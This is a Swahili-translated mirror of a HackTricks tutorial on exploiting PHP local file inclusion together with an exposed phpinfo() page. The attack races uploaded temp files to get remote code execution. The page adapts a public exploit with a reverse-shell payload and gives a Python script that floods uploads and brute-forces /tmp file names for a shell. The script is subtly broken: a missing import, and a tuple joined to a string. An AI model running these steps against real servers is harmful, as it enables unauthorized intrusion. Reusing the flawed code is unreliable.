mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
54 lines
3.0 KiB
Markdown
54 lines
3.0 KiB
Markdown
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
Ili kutumia udhaifu huu unahitaji: **Udhaifu wa LFI, ukurasa ambapo phpinfo() inaonyeshwa, "file_uploads = on" na seva inapaswa kuwa na uwezo wa kuandika katika saraka ya "/tmp".**
|
|
|
|
[https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
|
|
|
|
**Tutorial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s)
|
|
|
|
Unahitaji kurekebisha exploit (badilisha **=>** kwa **=>**). Ili kufanya hivyo unaweza kufanya:
|
|
```
|
|
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
|
|
```
|
|
Unapaswa kubadilisha pia **payload** mwanzoni mwa exploit (kwa mfano, kwa php-rev-shell), **REQ1** (hii inapaswa kuelekeza kwenye ukurasa wa phpinfo na inapaswa kuwa na padding iliyojumuishwa, yaani: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), na **LFIREQ** (hii inapaswa kuelekeza kwenye udhaifu wa LFI, yaani: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Angalia mara mbili "%" unapofanya exploit ya char ya null)
|
|
|
|
{% file src="../../images/LFI-With-PHPInfo-Assistance.pdf" %}
|
|
|
|
### Nadharia
|
|
|
|
Ikiwa upakuaji unaruhusiwa katika PHP na unajaribu kupakia faili, faili hizi huhifadhiwa katika directory ya muda hadi seva ikamilishe usindikaji wa ombi, kisha faili hizi za muda zinafuta.
|
|
|
|
Kisha, ikiwa umepata udhaifu wa LFI katika seva ya wavuti unaweza kujaribu kukisia jina la faili ya muda iliyoundwa na kufanya exploit ya RCE kwa kufikia faili ya muda kabla haijafutwa.
|
|
|
|
Katika **Windows** faili kawaida huhifadhiwa katika **C:\Windows\temp\php**
|
|
|
|
Katika **linux** jina la faili hutumika kuwa **random** na iko katika **/tmp**. Kwa kuwa jina ni random, inahitajika **kuchota kutoka mahali fulani jina la faili ya muda** na kuifikia kabla haijafutwa. Hii inaweza kufanywa kwa kusoma thamani ya **variable $\_FILES** ndani ya maudhui ya kazi "**phpconfig()**".
|
|
|
|
**phpinfo()**
|
|
|
|
**PHP** hutumia buffer ya **4096B** na wakati inakuwa **kamili**, inatumwa **kwa mteja**. Kisha mteja anaweza **kutuma** **ombii mengi makubwa** (akitumia vichwa vikubwa) **kupakia php** reverse **shell**, subiri **sehemu ya kwanza ya phpinfo() irejeshwe** (ambapo jina la faili ya muda liko) na kujaribu **kufikia faili ya muda** kabla seva ya php haijafuta faili hiyo kwa kufanya exploit ya udhaifu wa LFI.
|
|
|
|
**Python script ya kujaribu kubruuteforce jina (ikiwa urefu = 6)**
|
|
```python
|
|
import itertools
|
|
import requests
|
|
import sys
|
|
|
|
print('[+] Trying to win the race')
|
|
f = {'file': open('shell.php', 'rb')}
|
|
for _ in range(4096 * 4096):
|
|
requests.post('http://target.com/index.php?c=index.php', f)
|
|
|
|
|
|
print('[+] Bruteforcing the inclusion')
|
|
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
|
|
url = 'http://target.com/index.php?c=/tmp/php' + fname
|
|
r = requests.get(url)
|
|
if 'load average' in r.text: # <?php echo system('uptime');
|
|
print('[+] We have got a shell: ' + url)
|
|
sys.exit(0)
|
|
|
|
print('[x] Something went wrong, please try again')
|
|
```
|
|
{{#include ../../banners/hacktricks-training.md}}
|